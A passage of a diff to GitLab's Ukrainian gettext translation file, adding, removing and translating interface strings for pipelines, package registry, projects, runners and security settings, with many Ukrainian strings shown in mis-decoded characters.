+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "Ð”Ð»Ñ Ð³Ñ€ÑƒÐ¿ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾Ð´Ñ–Ð±Ð½Ð¸Ñ… метрик"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21161,12 +21547,12 @@ msgstr "Microsoft Azure"
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
-msgstr ""
-
msgid "Migrated %{success_count}/%{total_count} files."
msgstr "ПеренеÑено %{success_count}/%{total_count} файлів."
+msgid "Migration"
+msgstr ""
+
msgid "Migration has been scheduled to be retried"
msgstr ""
@@ -21423,6 +21809,12 @@ msgstr "Змінити коміт-злиттÑ"
msgid "Monday"
msgstr "Понеділок"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr "ВідÑлідковуйте Ñвої помилки за допомогою інтеграції із Sentry."
@@ -21555,6 +21947,9 @@ msgstr "Знайдено декілька типів моделей: %{model_typ
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "Знайдено декілька завантажувачів: %{uploader_types}"
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr "Ð†Ð¼â€™Ñ Ð²Ð¶Ðµ викориÑтовуєтьÑÑ"
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Ðазвіть нову мітку"
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21905,7 +22297,7 @@ msgid "NetworkPolicy|Search by policy name"
msgstr ""
msgid "NetworkPolicy|Status"
-msgstr ""
+msgstr "СтатуÑ"
msgid "Never"
msgstr "Ðіколи"
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr "Даних не знайдено"
msgid "No data to display"
msgstr "Ðемає даних Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ"
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr "Ðе знайдено розгортань"
@@ -22445,6 +22840,9 @@ msgstr "Ðемає"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr "Ðе реалізовано"
@@ -22779,6 +23177,9 @@ msgstr "О ні!"
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr "Спочатку Ñтарі"
@@ -23144,7 +23545,7 @@ msgid "Open in file view"
msgstr "Відкрити файл Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду"
msgid "Open in your IDE"
-msgstr ""
+msgstr "Відкрити у вашому IDE"
msgid "Open raw"
msgstr "Відкрити в неформатованому виглÑді"
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Додати джерело NuGet"
@@ -23395,6 +23802,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Скопіювати Maven XML"
@@ -23416,6 +23826,9 @@ msgstr "Скопіювати команду pip"
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Якщо ви ще не зробили цього, вам потрібно буде додати розміщене нижче в Ñвій файл %{codeStart}.pypirc%{codeEnd}."
@@ -23479,6 +23901,9 @@ msgstr "Якщо ви ще не зробили цього, вам потрібн
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr "ДізнайтеÑÑ Ñк %{noPackagesLinkStart}публікувати та ділитиÑÑ Ð²Ð°ÑˆÐ¸Ð¼Ð¸ пакетами%{noPackagesLinkEnd} через GitLab."
@@ -23494,6 +23919,9 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Команда Maven"
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -23525,13 +23953,13 @@ msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
msgid "PackageRegistry|PyPI"
-msgstr ""
+msgstr "PyPI"
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
msgid "PackageRegistry|Registry setup"
-msgstr ""
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€ÐµÑ”Ñтру"
msgid "PackageRegistry|Remove package"
msgstr "Видалити пакет"
@@ -23539,6 +23967,9 @@ msgstr "Видалити пакет"
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,8 +24078,8 @@ msgstr "Сторінки"
msgid "Pages Domain"
msgstr "Домен Pages"
-msgid "Pages getting started guide"
-msgstr "Довідка по Pages"
+msgid "Pagination|First"
+msgstr ""
msgid "Pagination|Go to first page"
msgstr "Перейти до першої Ñторінки"
@@ -23668,6 +24093,9 @@ msgstr "Перейти до наÑтупної Ñторінки"
msgid "Pagination|Go to previous page"
msgstr "Перейти до попередньої Ñторінки"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "ОÑÑ‚Ð°Ð½Ð½Ñ Â»"
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr "Пароль"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "Пароль (необов'Ñзково)"
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr "Виклики Gitaly"
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr "Виклики Redis"
@@ -23932,6 +24366,9 @@ msgstr "Розклад Конвеєра"
msgid "Pipeline Schedules"
msgstr "Розклади Конвеєрів"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr "Квота хвилин Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²"
@@ -23966,7 +24403,7 @@ msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics
msgstr ""
msgid "PipelineCharts|CI/CD Analytics"
-msgstr ""
+msgstr "Ðналітика CI/CD"
msgid "PipelineCharts|Failed:"
msgstr "Ðевдалі:"
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Ð’Ñього:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð² Ð´Ð»Ñ \"%{project_name}\" Ñ
msgid "Pipelines|API"
msgstr "API"
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr "Ви впевнені, що хочете запуÑтити цей конвеєр?"
@@ -24062,7 +24550,7 @@ msgid "Pipelines|By revoking a trigger you will break any processes making use o
msgstr ""
msgid "Pipelines|CI lint"
-msgstr ""
+msgstr "Перевірка конфігурації"
msgid "Pipelines|CI/CD template to test and deploy your %{name} project."
msgstr ""
@@ -24071,16 +24559,16 @@ msgid "Pipelines|Child pipeline"
msgstr "Дочірній конвеєр"
msgid "Pipelines|Clear runner caches"
-msgstr ""
+msgstr "ОчиÑтити кеш runner"
msgid "Pipelines|Copy trigger token"
msgstr "Скопіювати токен тригера"
msgid "Pipelines|Could not load artifacts."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ артефакти."
msgid "Pipelines|Could not load merged YAML content"
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ злитий YAML вміÑÑ‚"
msgid "Pipelines|Description"
msgstr "ОпиÑ"
@@ -24089,13 +24577,13 @@ msgid "Pipelines|Edit"
msgstr "Редагувати"
msgid "Pipelines|Editor"
-msgstr ""
+msgstr "Редактор"
msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
msgstr ""
msgid "Pipelines|Get started with CI/CD"
-msgstr ""
+msgstr "Розпочати роботу з CI/CD"
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
msgstr ""
@@ -24109,11 +24597,14 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
-msgstr ""
+msgstr "ОÑтанній викориÑтаний"
msgid "Pipelines|Lint"
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr "Більше інформації"
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24137,7 +24631,7 @@ msgid "Pipelines|Owner"
msgstr "ВлаÑник"
msgid "Pipelines|Pipeline Editor"
-msgstr ""
+msgstr "Редактор Конвеєрів"
msgid "Pipelines|Project cache successfully reset."
msgstr "Кеш проєкту уÑпішно очищено."
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "Цей проєкт в даний Ñ‡Ð°Ñ Ð½Ðµ налаштований Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑку конвеєрів."
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr "Токен"
@@ -24203,7 +24700,7 @@ msgid "Pipelines|Use a template based on your project's language or framework to
msgstr ""
msgid "Pipelines|Use template"
-msgstr ""
+msgstr "ВикориÑтовувати шаблон"
msgid "Pipelines|Validating GitLab CI configuration…"
msgstr ""
@@ -24212,10 +24709,7 @@ msgid "Pipelines|View merged YAML"
msgstr ""
msgid "Pipelines|Visualize"
-msgstr ""
-
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
+msgstr "ВізуалізаціÑ"
msgid "Pipelines|invalid"
msgstr ""
@@ -24239,10 +24733,10 @@ msgid "Pipeline|Canceled"
msgstr "СкаÑовано"
msgid "Pipeline|Checking pipeline status"
-msgstr ""
+msgstr "Перевірка ÑтатуÑу конвеєра"
msgid "Pipeline|Checking pipeline status."
-msgstr ""
+msgstr "Перевірка ÑтатуÑу конвеєра."
msgid "Pipeline|Commit"
msgstr "Коміт"
@@ -24251,7 +24745,7 @@ msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting step
msgstr ""
msgid "Pipeline|Created"
-msgstr ""
+msgstr "Створено"
msgid "Pipeline|Date"
msgstr "Дата"
@@ -24263,10 +24757,10 @@ msgid "Pipeline|Duration"
msgstr "ТриваліÑÑ‚ÑŒ"
msgid "Pipeline|Failed"
-msgstr ""
+msgstr "Ðевдало"
msgid "Pipeline|In progress"
-msgstr ""
+msgstr "ВиконуєтьÑÑ"
msgid "Pipeline|Key"
msgstr "Ключ"
@@ -24308,7 +24802,7 @@ msgid "Pipeline|Run for branch name or tag"
msgstr ""
msgid "Pipeline|Run pipeline"
-msgstr ""
+msgstr "ЗапуÑтити Конвеєр"
msgid "Pipeline|Running"
msgstr "Запущено"
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr "Будь лаÑка, задайте ім’Ñ"
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr "Будь лаÑка, оберіть групу."
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr "Будь лаÑка, виберіть Ñ– додайте учаÑника"
@@ -24562,6 +25065,9 @@ msgstr "Будь лаÑка виберіть хоча б один фільтр,
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "Будь лаÑка, вÑтановіть пароль перед продовженнÑм."
@@ -24595,9 +25101,6 @@ msgstr "Будь лаÑка, почекайте поки ми з’єднуємÐ
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "Будь лаÑка, почекайте поки ми імпортуємо ваш репозиторій. Оновлюйте Ñторінку за бажаннÑм."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr "Попередній переглÑд"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "Попередній переглÑд Markdown"
@@ -25135,8 +25644,8 @@ msgstr "Приватні внеÑки"
msgid "Profiles|Profile was successfully updated"
msgstr "Профіль було уÑпішно оновлено"
-msgid "Profiles|Public Avatar"
-msgstr "Публічний аватар"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "Публічна адреÑа електронної пошти"
@@ -25393,6 +25902,9 @@ msgstr "Ð’ проєкті занадто багато %{label_for_message} длÑ
msgid "Project info:"
msgstr "Ð†Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ñ€Ð¾ проєкт:"
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "Виконати звичайні операції на проєкті GitLab: %{project_name}"
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "Спільні проєкти з %{group_name}"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr "Проекти, що належать до групи, викориÑтовують Ñ—Ñ— ім'Ñ Ñк префікÑ. ІÑнуючі проєкти можуть бути переміщені в групу."
-
msgid "Projects to index"
msgstr "Проекти Ð´Ð»Ñ Ñ–Ð½Ð´ÐµÐºÑуваннÑ"
@@ -26077,12 +26583,6 @@ msgstr "Ð¦Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñ Ð¿Ð¾Ñ‚Ñ€ÐµÐ±ÑƒÑ” підтримки localStorage вÐ
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr "ДозволÑÑ” негайно зклонувати репозиторій цього проєкту. ПропуÑÑ‚Ñ–Ñ‚ÑŒ, Ñкщо ви плануєте розміÑтити тут вже Ñ–Ñнуючий репозиторій."
-msgid "ProjectsNew|Blank"
-msgstr "ПуÑтий"
-
-msgid "ProjectsNew|Blank project"
-msgstr "ПуÑтий проєкт"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26093,13 +26593,16 @@ msgid "ProjectsNew|Create"
msgstr "Створити"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
+msgstr "Створіть порожній проект Ð´Ð»Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ñвоїх файлів, Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‚Ð¸ та Ñпівпраці над кодом."
+
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr "Створити пуÑтий проєкт"
msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
+msgstr "Створити порожній проєкт/репозиторій"
msgid "ProjectsNew|Create from template"
msgstr "Створити із шаблону"
@@ -26107,9 +26610,6 @@ msgstr "Створити із шаблону"
msgid "ProjectsNew|Create new project"
msgstr "Створити новий проєкт"
-msgid "ProjectsNew|Creating project & repository."
-msgstr "Ð¡Ñ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ та репозиторію."
-
msgid "ProjectsNew|Description format"
msgstr "Формат опиÑу"
@@ -26125,20 +26625,17 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Ініціалізувати репозиторій файлом інÑтрукції (README)"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
msgid "ProjectsNew|No import options available"
msgstr "Варіанти імпорту не доÑтупні"
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
-msgstr "Будь лаÑка, почекайте, Ñторінку буде оновлено автоматично по завершенню."
-
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "ÐžÐ¿Ð¸Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ %{tag_start}(необов’Ñзково)%{tag_end}"
msgid "ProjectsNew|Run CI/CD for external repository"
-msgstr ""
-
-msgid "ProjectsNew|Template"
-msgstr "Шаблон"
+msgstr "ЗапуÑтити CI/CD Ð´Ð»Ñ Ð·Ð¾Ð²Ð½Ñ–ÑˆÐ½ÑŒÐ¾Ð³Ð¾ репозиторію"
msgid "ProjectsNew|Visibility Level"
msgstr "Рівень видимоÑÑ‚Ñ–"
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr "Переналаштувати"
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr "Коди відновленнÑ"
msgid "Redirect to SAML provider to test configuration"
msgstr "Перенаправити до SAML провайдера Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ конфігурації"
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr "Redis"
@@ -26999,17 +27496,17 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
-msgstr ""
+msgstr "Відхилено (закрито)"
msgid "Related Issues"
msgstr "Пов’Ñзані задачі"
msgid "Related issues"
-msgstr ""
+msgstr "ПовʼÑзані задачі"
msgid "Related merge requests"
msgstr "Пов'Ñзані запити на злиттÑ"
@@ -27234,9 +27731,6 @@ msgstr "Видалити вторинний вузол"
msgid "Remove spent time"
msgstr "Видалити витрачений чаÑ"
-msgid "Remove stage"
-msgstr "Видалити Ñтадію"
-
msgid "Remove time estimate"
msgstr "Видалити запланований чаÑ"
@@ -27252,6 +27746,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr "Видалено"
@@ -27358,7 +27855,7 @@ msgid "Reopen"
msgstr "Повторне відкриттÑ"
msgid "Reopen %{issueType}"
-msgstr ""
+msgstr "Повторно відкрити %{issueType}"
msgid "Reopen epic"
msgstr "Повторне Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ñ‚Ñ ÐµÐ¿Ñ–ÐºÑƒ"
@@ -27551,7 +28048,7 @@ msgid "Reports|Vulnerability"
msgstr "ВразливіÑÑ‚ÑŒ"
msgid "Reports|Vulnerability Name"
-msgstr ""
+msgstr "Ім'Ñ Ð²Ñ€Ð°Ð·Ð»Ð¸Ð²Ð¾ÑÑ‚Ñ–"
msgid "Reports|no changed test results"
msgstr "результати теÑтів не змінилиÑÑ"
@@ -27835,7 +28332,7 @@ msgid "Resend unlock instructions"
msgstr ""
msgid "Reset"
-msgstr ""
+msgstr "Скинути"
msgid "Reset authorization key"
msgstr "Скинути ключ авторизації"
@@ -28211,6 +28708,18 @@ msgstr "Ім'Ñ"
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr "Платформа"
@@ -28419,7 +28928,7 @@ msgid "Scan Policies"
msgstr ""
msgid "Scanner"
-msgstr ""
+msgstr "Сканер"
msgid "Scanner profile failed to delete"
msgstr ""
@@ -28527,7 +29036,7 @@ msgid "Search by message"
msgstr "Шукати за повідомленнÑм"
msgid "Search by name"
-msgstr ""
+msgstr "Пошук за іменем"
msgid "Search files"
msgstr "Пошук файлів"
@@ -28751,7 +29260,7 @@ msgid "Secondary email:"
msgstr ""
msgid "Seconds"
-msgstr ""
+msgstr "Секунди"
msgid "Secret"
msgstr "Секрет"
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr "Стан"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr "Коментар відредаговано в \"%{vulnerabilityName}\""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
